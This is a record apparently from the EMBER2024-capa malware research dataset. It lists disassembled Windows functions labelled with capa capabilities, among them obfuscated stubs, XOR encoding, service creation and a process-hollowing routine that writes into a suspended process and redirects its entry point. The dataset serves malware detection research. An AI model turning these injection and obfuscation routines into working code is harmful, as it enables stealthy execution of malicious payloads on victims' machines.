joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7c923d
Capabilities:
Terminate process

Disassembly:
pushfd
add ebp, 0x5f
popfd
lea ebp, [ebp - 0x5f]
add dword [esp], 0xffc3fb97
xchg dword [esp], ebx
mov eax, eax
xchg dword [esp + 4], ebx
push ebp
mov ebp, esp
leave
xchg dword [esp], ebx
pushfd
add ebp, 0x19
popfd
lea ebp, [ebp - 0x19]
popfd
push eax
mov eax, dword [esp + 4]
lea eax, [eax + 0x43]
xchg dword [esp + 4], eax
mov dword [esp + 4], eax
mov eax, dword [esp]
lea esp, [esp + 4]
jmp dword [sym.imp.MSVCRT.dll_exit]

Function at 0x1560ddb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push eax
inc ecx
lea esp, [esp + 4]
pushal
mov word [esp + 4], cx
lea esp, [esp + 0x20]
call fcn.01566492
call fcn.015454fc
Function at 0x41c784
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41c78a
ret

Function at 0x47a213
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ebx, eax
cmc
rol di, 3
sar edi, 0x15
call fcn.0047aaa8

Function at 0x47a26c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, dword [edi + ecx*4]
stc
call fcn.00477f10
add byte [eax], al
push esp
insb byte es:[edi], dx
jae 0x47a2c2
je 0x47a2d4
popal
insb byte es:[edi], dx
jne 0x47a2e7
add dh, dh
rol byte [ebx + edx*8 + 0xf66073a], 1
mov dh, 0xc2
pushfd
push 0x4ca3a123
mov byte [esp + 4], ch
lea edi, [edi + 1]
jmp 0x47d41f
test byte [edx - 0x2e], ah
invalid
not ax
call fcn.00478348
xadd ch, bh

Function at 0x47a29f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [esp + 0x28], 0x4777bd
call fcn.0047dce4
Function at 0x47a61d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push dword [edi]
pop dword [esp + 8]
mov byte [esp + 4], bl
clc
jmp 0x47ff81
call fcn.0047e726
cmp edi, ebx
mov dword [esp], ebx
push 0xdd8ca581
lea esp, [esp + 0xc]
jp 0x47ead7
ja 0x47cfde
rcr al, cl
neg al
xor al, 0xbe
sub ebx, edi
pushal
sar al, 1
bsr di, dx
lea esp, [esp + 0x20]
add ebx, esp
pushfd
not al
dec al
mov edi, ebx
rol al, 3
jmp 0x4816ec
inc al
clc
mov al, 0x2e
cmc
cmp edx, ecx
repne scasb al, byte es:[edi]
call fcn.0047c137

Function at 0x47aac7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
lea esp, [esp + 0x10]
jne 0x47c59e
movzx eax, cl
lahf
lahf
push 0x1ba5b69c
mov byte [edi - 1], 0
seta ah
call fcn.0047c6dc

Function at 0x47aae7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, 0x104
test ah, cl
clc
call fcn.0047f8cc
add byte [eax], al
push eax
imul ecx, dword gs:[ebp + 0x65], 0x73
jae 0x47ab60
inc ecx
add byte [ecx - 0x729f9f0c], cl
mov esp, esi
pushal
pushal
lea esp, [esp + 0x40]
jmp 0x477558
add dword [eax], eax
add byte [eax], al
add byte [ebx + 0x65], dl
je 0x47abb9
jb 0x47abda
jo 0x47abae
add byte [ebp + 0x648d0453], cl
and al, 0x24
add byte [eax], al
invalid
fsubr qword [edi]
add byte fs:[eax], al
push ebx
je 0x47ac16
push 0x64616572
dec esp
outsd dx, dword [esi]
arpl word [ecx + 0x6c], sp
add byte gs:[eax], al
add byte [ecx + 0x6e], cl
je 0x47ac39
jb 0x47ac42
outsd dx, dword [esi]
arpl word [ebx + 0x65], bp
inc ebp
js 0x47ac41
push 0x65676e61
add byte [ecx - 1], bl
fucompp
mov word [ebp + eax*8 + 0x390cd4ea], fs
pop ecx
dec eax
dec edi
push edx
pop ebp
dec eax
pop ds
push ss
cmc
lock add edx, dword [edx]
lodsd eax, dword [esi]
dec eax
push esp
adc edx, dword [esi - 0x1f]
invalid
adc esp, dword [edi + ebp + 0x47]
out dx, al
das
wait
or edx, eax
pop edx
retf 0x6095
add byte [eax], al
inc edi
je 0x47ac8c
outsb dx, byte gs:[esi]
jne fcn.0047ac43
add bh, bh
je 0x47ac6a
add al, 0x50
int 0xa4
push 0x58
stc
add byte [eax], al
add byte [ebx - 0x4dfcd3af], ch
inc edi

Function at 0x47ab10
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmc
xor al, 0x12
mov al, 0x2e
test di, di
repne scasb al, byte es:[edi]
mov byte [esp], ah
mov dword [esp], eax
pushal
push esp
lea esp, [esp + 0x28]
jne 0x47c59e
lahf
not eax
lea eax, [0x84aeaad2]
not ah
mov byte [edi - 1], 0
pushal
mov dword [esp + 0x1c], ebx
not ah
movzx ax, bl
movzx eax, bl
lea eax, [0x479d70]
pushfd
mov dword [esp + 0x1c], 0x479a29
mov byte [esp + 4], 0xbc
call fcn.0047ad17
add byte [eax], al
push ebx
je 0x47abb9
Function at 0x47ac43
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, 0x104
test ah, cl
clc
call fcn.0047f8cc
add byte [eax], al
push eax
imul ecx, dword gs:[ebp + 0x65], 0x73
jae 0x47ab60
inc ecx
add byte [ecx - 0x729f9f0c], cl
mov esp, esi
pushal
pushal
lea esp, [esp + 0x40]
jmp 0x477558
add dword [eax], eax
add byte [eax], al
add byte [ebx + 0x65], dl
je 0x47abb9
jb 0x47abda
jo 0x47abae
add byte [ebp + 0x648d0453], cl
and al, 0x24
add byte [eax], al
invalid
fsubr qword [edi]
add byte fs:[eax], al
push ebx
je 0x47ac16
push 0x64616572
dec esp
outsd dx, dword [esi]
arpl word [ecx + 0x6c], sp
add byte gs:[eax], al
add byte [ecx + 0x6e], cl
je 0x47ac39
jb 0x47ac42
outsd dx, dword [esi]
arpl word [ebx + 0x65], bp
inc ebp
js 0x47ac41
push 0x65676e61
add byte [ecx - 1], bl
fucompp
mov word [ebp + eax*8 + 0x390cd4ea], fs
pop ecx
dec eax
dec edi
push edx
pop ebp
dec eax
pop ds
push ss
cmc
lock add edx, dword [edx]
lodsd eax, dword [esi]
dec eax
push esp
adc edx, dword [esi - 0x1f]
invalid
adc esp, dword [edi + ebp + 0x47]
out dx, al
das
wait
or edx, eax
pop edx
retf 0x6095
add byte [eax], al
inc edi
je 0x47ac8c
outsb dx, byte gs:[esi]
jne fcn.0047ac43
add bh, bh
je 0x47ac6a
add al, 0x50
int 0xa4
push 0x58
stc
add byte [eax], al
add byte [ebx - 0x4dfcd3af], ch
inc edi

Function at 0x4816fb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x47ac83
mov esp, ebp
jmp 0x480389
or eax, esi
pop ebp
and bl, dl
jb 0x47ac47
sub dword [eax], edx
dec ecx
inc ebp
jnp 0x47ac33
invalid
jmp 0x47a71d
mov dword [esp + 0x44], 0x479828
call fcn.0047ad89
stosd dword es:[edi], eax
push ecx
sub al, 3
mov dl, 0x47
sbb dh, byte [ecx - 0x7c5f7f3b]
push 0x6d
js 0x47ac27
lcall 0x6c89, 0x7683889d
pop es
into
or dword [eax - 0x6a6940d], edi
mov eax, 0x573da271
outsd dx, dword [esi]
pop eax
loop 0x47acb2
cmp eax, 0xe2586f57
cli
cmp ch, cl
cmc
in al, dx
mov dword [0x26777004], eax
frstor dword [ebp + eax - 0x7b902b44]
and edx, dword [edi + ebx*8]
mov edx, 0xfbb00f5
adc eax, 0xc5a29b5b
xchg edi, eax
cmpsb byte [esi], byte es:[edi]
loope 0x47ace5
stosb byte es:[edi], al
mov ah, 0xd4
wait
test ax, 0x8b48
in al, dx
sub esp, dword [edx + 0x29]
inc ecx
sub dword [ecx - 0x597f7351], ebx
inc ecx
or byte [ebx - 0x481bde8a], bh
sub dword [ecx + 0x29], eax
cdq
scasd eax, dword es:[edi]
mov word [eax - 0x44f7be5a], es
jbe 0x47ad13
in al, 0xb7
xchg byte [0x56bbaffc], bh
xchg ecx, eax
xor ebp, esp
mov ah, byte [edx]
pop es
daa
ljmp 0xa170
dec edx
invalid
pushfd
pop ebp
movsx bp, bl
pop ebp
pushal
mov byte [esp], dh
pushal
pushfd
push dword [esp + 0x44]
ret 0x4c
lea eax, [0x479d70]
push edx
push edi
jmp 0x479edc
Function at 0x401030
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x21c
mov eax, dword [0x415004]
xor eax, esp
mov dword [esp + 0x218], eax
mov eax, dword [esp + 0x220]
push ebx
mov ebx, dword [esp + 0x230]
push ebp
mov ebp, dword [esp + 0x23c]
push esi
push edi
mov edi, dword [esp + 0x240]
push 0
push 0
push eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], edi
call fcn.0040412c
mov eax, dword [esp + 0x244]
movzx eax, word [eax + 2]
mov esi, dword [ebx + 0x3c]
add esp, 0xc
test eax, eax
jle 0x4010a0
lea ecx, [edi + 0x14]
mov edx, dword [ecx]
cmp edx, esi
jae 0x40109a
mov esi, edx
add ecx, 0x28
dec eax
jne 0x401092
mov ecx, dword [esp + 0x14]
push ecx
push esi
push 1
push ebp
call fcn.00404085
add esp, 0x10
cmp eax, esi
jne 0x40117b
mov edi, dword [ebx + 0x20]
mov edx, dword [ebx + 0x3c]
push edi
push edx
call fcn.00401000
mov ecx, dword [esp + 0x238]
lea ebx, [ebp + eax]
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [ecx + 2]
jae 0x401151
mov esi, dword [esp + 0x18]
add esi, 8
mov eax, dword [esi + 8]
test eax, eax
je 0x401127
mov edi, eax
mov eax, dword [esi]
cmp edi, eax
jbe 0x4010f9
mov edi, eax
mov edx, dword [esi + 0xc]
mov ebp, dword [esp + 0x14]
push 0
push edx
push ebp
call fcn.0040412c
push ebp
push edi
push 1
push ebx
call fcn.00404085
add esp, 0x1c
cmp eax, edi
jne 0x401158
mov eax, dword [esp + 0x1c]
mov edi, dword [eax + 0x20]
mov ecx, dword [esi]
push edi
push ecx
jmp 0x40112f
mov eax, dword [esi]
test eax, eax
je 0x401136
push edi
push eax
call fcn.00401000
add ebx, eax
mov edx, dword [esp + 0x238]
mov eax, dword [esp + 0x10]
movzx ecx, word [edx + 2]
inc eax
add esi, 0x28
mov dword [esp + 0x10], eax
cmp eax, ecx
jl 0x4010e8
mov eax, 1
jmp 0x4011a3
mov edx, dword [esp + 0x10]
push edx
lea eax, [esp + 0x24]
push str.Error_reading_section__d
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x10
push 0
lea ecx, [esp + 0x28]
push ecx
jmp 0x401199
push esi
push eax
lea edx, [esp + 0x28]
push str.Error_reading_headers___d__d_
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x10
push 0
lea eax, [esp + 0x28]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
mov ecx, dword [esp + 0x228]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004041a8
add esp, 0x21c
ret 0x18
Function at 0x401220
Capabilities:
Parse pe header
Read file on windows

Disassembly:
sub esp, 0x148
mov eax, dword [0x415004]
xor eax, esp
mov dword [esp + 0x144], eax
mov eax, dword [esp + 0x150]
mov ecx, dword [esp + 0x158]
mov edx, dword [esp + 0x15c]
push ebx
mov ebx, dword [esp + 0x158]
push esi
mov esi, dword [esp + 0x154]
push edi
push 2
push 0
push esi
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], edx
call fcn.0040412c
push esi
call fcn.004043df
push 0
push 0
push esi
mov edi, eax
call fcn.0040412c
add esp, 0x1c
cmp edi, 0x40
jb 0x4013c0
push esi
push 1
lea eax, [esp + 0x38]
push 0x40
push eax
call fcn.00404085
mov ecx, 0x5a4d
add esp, 0x10
cmp word [esp + 0x30], cx
jne 0x4013b5
mov eax, dword [esp + 0x6c]
lea edx, [eax + 4]
cmp edi, edx
jb 0x4013c0
push 0
push eax
push esi
call fcn.0040412c
push esi
push 1
lea eax, [esp + 0x24]
push 4
push eax
call fcn.00404085
add esp, 0x1c
cmp dword [esp + 0x10], 0x4550
jne 0x4013aa
mov ecx, dword [esp + 0x6c]
add ecx, 0x18
cmp edi, ecx
jb 0x4013c0
push esi
push 1
lea edx, [esp + 0x24]
push 0x14
push edx
call fcn.00404085
mov eax, pe_nt_image_headers32
add esp, 0x10
cmp word [esp + 0x2c], ax
jne 0x40139f
push ebp
push esi
push 1
push eax
lea ecx, [esp + 0x80]
push ecx
call fcn.00404085
movzx eax, word [esp + 0x32]
lea edi, [eax + eax*4]
add edi, edi
add edi, edi
add edi, edi
push edi
call fcn.004041b7
push esi
push 1
mov ebp, eax
push edi
push ebp
call fcn.00404085
mov edi, dword [esp + 0x40]
mov edx, dword [esp + 0x44]
mov eax, dword [esp + 0x48]
mov ecx, 0x10
lea esi, [esp + 0x58]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x4c]
mov edi, dword [esp + 0x3c]
mov dword [ebx], edx
mov edx, dword [esp + 0x50]
mov dword [ebx + 4], eax
mov eax, dword [esp + 0x54]
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov dword [ebx + 0x10], eax
mov ecx, 0x38
lea esi, [esp + 0x98]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x34]
add esp, 0x24
mov dword [ecx], ebp
mov eax, 1
pop ebp
jmp 0x4013d3
push 0x10
push 0
push str.Unexpected_option_header_size
jmp 0x4013c9
push 0x10
push 0
push str.File_does_not_have_PE_header
jmp 0x4013c9
push 0x10
push 0
push str.File_does_not_have_MZ_header
jmp 0x4013c9
push 0x10
push 0
push str.File_size_too_small
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
mov ecx, dword [esp + 0x150]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004041a8
add esp, 0x148
ret 0x14
Function at 0x401480
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x468
mov eax, dword [0x415004]
xor eax, esp
mov dword [esp + 0x464], eax
push esi
mov esi, dword [esp + 0x470]
push edi
mov edi, dword [esp + 0x478]
push 0x44
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.00404450
add esp, 0xc
push 0x104
lea ecx, [esp + 0x268]
push ecx
mov dword [esp + 0x20], 0x44
call fcn.00401450
xor eax, eax
jmp 0x4014e0
movzx ecx, word [esp + eax + 0x264]
mov word [esp + eax + 0x5c], cx
add eax, 2
test cx, cx
jne 0x4014e0
lea eax, [esp + 0x5c]
add eax, 0xfffffffe
lea esp, [esp]
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x401500
mov edx, dword [str.calc.exe]
mov ecx, dword [0x4114a8]
mov dword [eax], edx
mov edx, dword [0x4114ac]
mov dword [eax + 4], ecx
mov ecx, dword [0x4114b0]
mov dword [eax + 8], edx
mov edx, dword [0x4114b4]
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], edx
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [eax + str.D:Program_Files__x86_FlashGet_NetworkFlashGet_3Flashget3.exe]
mov word [esp + eax + 0x5c], cx
add eax, 2
test cx, cx
jne 0x401540
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x1c]
push ecx
push str.D:Program_Files__x86_FlashGet_NetworkFlashGet_3
push 0
push 4
push 0
push 0
push 0
lea edx, [esp + 0x7c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x401591
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov dword [esi], eax
mov dword [edi], ecx
mov eax, 1
jmp 0x401593
xor eax, eax
mov ecx, dword [esp + 0x46c]
pop edi
pop esi
xor ecx, esp
call fcn.004041a8
add esp, 0x468
ret 8

Function at 0x401700
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
pop esi
ret 0xc

Function at 0x401830
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
call fcn.004013f0
mov ecx, dword [esp + 0x10]
mov esi, eax
mov eax, dword [esp + 0x14]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, dword [esp + 0x18]
push edi
push esi
mov dword [ebx], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
pop edi
pop esi
mov dword [ebx + 4], eax
pop ebx
ret 0xc
Function at 0x401930
Capabilities:
Stop service

Disassembly:
sub esp, 0x20
mov eax, dword [0x415004]
xor eax, esp
mov dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
push esi
push 0xf01ff
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x401987
push edi
lea eax, [esp + 8]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.004041a8
add esp, 0x20
ret 8
mov ecx, dword [esp + 0x20]
pop esi
xor ecx, esp
xor eax, eax
call fcn.004041a8
add esp, 0x20
ret 8

Function at 0x4019e0
Capabilities:
Create service

Disassembly:
mov eax, dword [esp + 0xc]
push 0
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push eax
mov eax, dword [esp + 0x20]
push 1
push 3
push 1
push 0xf01ff
push eax
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
test eax, eax
je 0x401a1e
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
ret 0xc
xor eax, eax
ret 0xc

Function at 0x401aa0
Capabilities:
Check os version

Disassembly:
sub esp, 0x88
mov eax, dword [0x415004]
xor eax, esp
mov dword [esp + 0x84], eax
push esi
mov esi, dword [esp + 0x90]
push edi
mov edi, dword [esp + 0x98]
call dword [sym.imp.KERNEL32.dll_GetVersion]
push esi
cmp al, 5
jae 0x401adb
push str.._s
lea eax, [esp + 0x10]
push eax
jmp 0x401ae5
push str..Global_s
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x401b14
xor eax, eax
jmp 0x401b28
test edi, edi
je 0x401b1c
mov dword [edi], eax
jmp 0x401b23
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov ecx, dword [esp + 0x8c]
pop edi
pop esi
xor ecx, esp
call fcn.004041a8
add esp, 0x88
ret 8
Function at 0x401b50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
sub esp, 0x2e8
mov eax, dword [0x415004]
xor eax, esp
mov dword [esp + 0x2e4], eax
mov eax, dword [esp + 0x2ec]
push ebx
mov ebx, dword [esp + 0x300]
push ebp
mov ebp, dword [esp + 0x2fc]
push esi
mov esi, dword [esp + 0x30c]
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], esi
call fcn.00401480
test eax, eax
je 0x401d0b
push edi
push ebp
call fcn.00401420
test eax, eax
je 0x401cda
mov edi, dword [esp + 0x14]
push 0x40
push 0x1000
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x401cc7
mov eax, dword [esp + 0x308]
mov ecx, dword [esp + 0x300]
mov edx, dword [esp + 0x18]
push esi
push ebx
push eax
push ebp
push ecx
push edx
call fcn.00401610
push ebx
push ebp
call fcn.004015b0
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
mov ecx, dword [eax + 0x3c]
push 0
push edx
push ebx
push esi
mov dword [ecx + ebx + 0x34], esi
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
call ebx
test eax, eax
je 0x401cb4
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x20]
push eax
push ecx
mov dword [esp + 0x28], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [esp + 0xd0]
push 0
push 5
lea edx, [esp + 0x2f4]
push edx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 4
lea ecx, [esp + 0xd8]
push ecx
lea edx, [esi + 0xffc]
push edx
push edi
call ebx
push 0
push 5
lea eax, [esp + 0x2f4]
push eax
lea ecx, [esi + 0xff7]
push ecx
push edi
call ebx
mov eax, dword [esp + 0xd0]
mov edx, dword [ebp + 0x10]
push 0
sub edx, eax
lea ecx, [edx + esi - 5]
push 5
lea edx, [esp + 0x2f4]
push edx
push eax
push edi
mov byte [esp + 0x300], 0xe9
mov dword [esp + 0x301], ecx
call ebx
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x401cf8
push 0x10
push 0
push str.WriteProcessMemory_failed
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x401cef
push 0x10
push 0
push str.Not_enough_memory.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x401cef
push 0x10
push 0
push str.Load_failed._Consider_making_this_EXE_relocatable.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov edi, dword [esp + 0x14]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
mov ecx, dword [esp + 0x10]
push ecx
call esi
pop edi
jmp 0x401d1c
push 0x10
push 0
push str.Fail_to_open_target.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, dword [esp + 0x2f0]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004041a8
add esp, 0x2e8
ret 0x18
Function at 0x401d40
Capabilities:
Parse pe header

Disassembly:
push ecx
mov eax, dword [0x41607c]
push ebx
push esi
push edi
push 0x416040
push 0x4162c0
push eax
call fcn.00401830
mov eax, dword [0x416040]
mov ecx, 0x10
mov esi, eax
mov edi, 0x416178
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x4161b4]
xor ebx, ebx
cmp ecx, ebx
jg 0x401d8c
push str.m_DosHeader.e_lfanew__Invaild__n
call fcn.00401730
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
pop ecx
ret
mov edx, 0x5a4d
cmp word [0x416178], dx
je 0x401dae
push str.m_DosHeader.e_magic__Invaild__n
call fcn.00401730
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
pop ecx
ret
push ebp
lea ebp, [ecx + eax]
mov ecx, 0x3e
mov esi, ebp
mov edi, 0x416080
rep movsd dword es:[edi], dword [esi]
cmp dword [0x416080], 0x4550
je 0x401de1
push str.Read_NtHeader_Failed_n
call fcn.00401730
add esp, 4
pop ebp
pop edi
pop esi
xor al, al
pop ebx
pop ecx
ret
add ebp, 0xf8
call fcn.00401910
push eax
push 0x416080
push str.NtHeader_Signature:_s_Section_Num_:_i_n
call fcn.00401730
add esp, 0xc
call fcn.00401910
xor ecx, ecx
mov edx, 0x28
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00404a66
add esp, 4
mov dword [0x416078], eax
call fcn.00401910
test eax, eax
jle 0x401e71
mov dword [esp + 0x10], ebx
nop
mov eax, dword [esp + 0x10]
add eax, dword [0x416078]
mov esi, ebp
mov edi, eax
mov ecx, 0xa
rep movsd dword es:[edi], dword [esi]
mov edx, dword [eax + 0x10]
mov ecx, dword [eax + 0x14]
push edx
mov edx, dword [eax + 0xc]
push ecx
push edx
push eax
push str.Section_Name:_s__At_Mem_Virtual_Address:_X__At_File_RawData:_X__At_File_Size:_X_n
add ebp, 0x28
call fcn.00401730
add dword [esp + 0x24], 0x28
add esp, 0x14
inc ebx
call fcn.00401910
cmp ebx, eax
jl 0x401e30
pop ebp
pop edi
pop esi
mov al, 1
pop ebx
pop ecx
ret

Function at 0x401e80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
push ebp
push esi
push edi
push 0x40
push 0x1000
call fcn.004018f0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x4162bc], eax
call fcn.004018f0
mov ebp, dword [0x4162bc]
push eax
push 0
push ebp
call fcn.00404450
mov ecx, 0x10
mov esi, 0x416178
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp + 0x40]
mov ecx, 0x3e
mov esi, 0x416080
add esp, 0xc
rep movsd dword es:[edi], dword [esi]
call fcn.00401920
mov edi, dword [0x416078]
push eax
lea eax, [ebp + 0x138]
push edi
push eax
call fcn.00404af0
add esp, 0xc
mov dword [esp + 0xc], 0
call fcn.00401910
test eax, eax
jle 0x401f64
push ebx
xor esi, esi
jmp 0x401f1c
mov ebp, dword [0x4162bc]
mov edi, dword [0x416078]
mov edx, dword [esi + edi + 0x14]
mov ecx, dword [esi + edi + 8]
add edx, dword [0x416040]
mov eax, dword [esi + edi + 0xc]
lea ebx, [esi + edi + 0xc]
push ecx
push edx
add eax, ebp
push eax
call fcn.00404af0
mov ecx, dword [ebx]
add ecx, ebp
push ecx
push 0x411724
call fcn.00401730
mov ecx, dword [esp + 0x24]
inc ecx
add esp, 0x14
mov dword [esp + 0x10], ecx
add esi, 0x28
call fcn.00401910
cmp ecx, eax
jl 0x401f10
pop ebx
pop edi
pop esi
mov al, 1
pop ebp
pop ecx
ret